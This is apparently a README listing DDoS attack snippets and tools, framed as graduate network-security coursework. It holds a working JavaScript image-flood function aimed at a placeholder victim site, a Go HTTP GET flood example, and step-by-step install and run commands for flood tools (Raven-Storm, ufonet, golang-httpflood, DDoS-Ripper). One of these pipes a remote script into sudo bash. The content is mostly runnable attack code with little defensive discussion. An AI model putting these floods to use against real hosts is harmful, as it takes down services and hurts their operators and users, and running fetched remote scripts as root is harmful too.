DDoS

Snippets of code and resources related to DDoS attacks for graduate coursework on network security

Table of Contents

• imgflood
• Raven-Storm Toolkit
• ufonet
• DDoS Infinite HTTP GET
• Golang-httpflood
• DDoS-Ripper
• DDoS Scripts

imgflood Layer 7 flood attack

• Link: An introduction to JavaScript-based DDoS

function imgflood() {
  var TARGET = 'victim-website.com'
  var URI = '/index.php?'
  var pic = new Image()
  var rand = Math.floor(Math.random() * 1000)
  pic.src = 'http://'+TARGET+URI+rand+'=val'
}
setInterval(imgflood, 10)

Raven-Storm Toolkit

• Link: Raven-Storm Toolkit GitHub

curl -s https://raw.githubusercontent.com/Taguar258/Raven-Storm/master/install.sh | sudo bash -s

ufonet

• Link: ufonet GitHub

You can automatically get all required libraries using (as root):

python3 setup.py install

For manual installation, on Debian-based systems (ex: Ubuntu), run:

sudo apt-get install python3-pycurl python3-geoip python3-whois python3-crypto python3-requests python3-scapy libgeoip1 libgeoip-dev

On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:

pip3 install GeoIP
pip3 install python-geoip
pip3 install pygeoip
pip3 install requests
pip3 install pycrypto
pip3 install pycurl
pip3 install whois
pip3 install scapy-python3

DDoS Infinite HTTP GET

• Link: DDoS HTTP GET GitHub

func main() {
	workers := 100
	d, err := ddos.New("http://127.0.0.1:80", workers)
	if err != nil {
		panic(err)
	}
	d.Run()
	time.Sleep(time.Second)
	d.Stop()
	fmt.Println("DDoS attack server: http://127.0.0.1:80")
	// Output: DDoS attack server: http://127.0.0.1:80
}

Golang-httpflood

• Link: Golang-httpflood GitHub

Install Golang Golang Download & Installation

Change Linux Resource Limit

ulimit -n 999999

Clone Repo

git clone https://github.com/Leeon123/golang-httpflood.git

Header.txt format

Accept: text/html
User-agent: Wget
Referer: http://google.com

Usage

cd golang-httpflood
go build httpflood.go
./httpflood  <url> <threads> <get/post> <seconds> <header.txt/nil>

DDoS-Ripper

• Link: DDoS-Ripper GitHub

sudo apt install git 
git clone https://github.com/palahsu/DDoS-Ripper.git 
cd DDoS-Ripper 
$ ls 
$ python3 DRipper.py OR python2 DRipper.py

DDoS Scripts

• Link: DDoS Scripts GitHub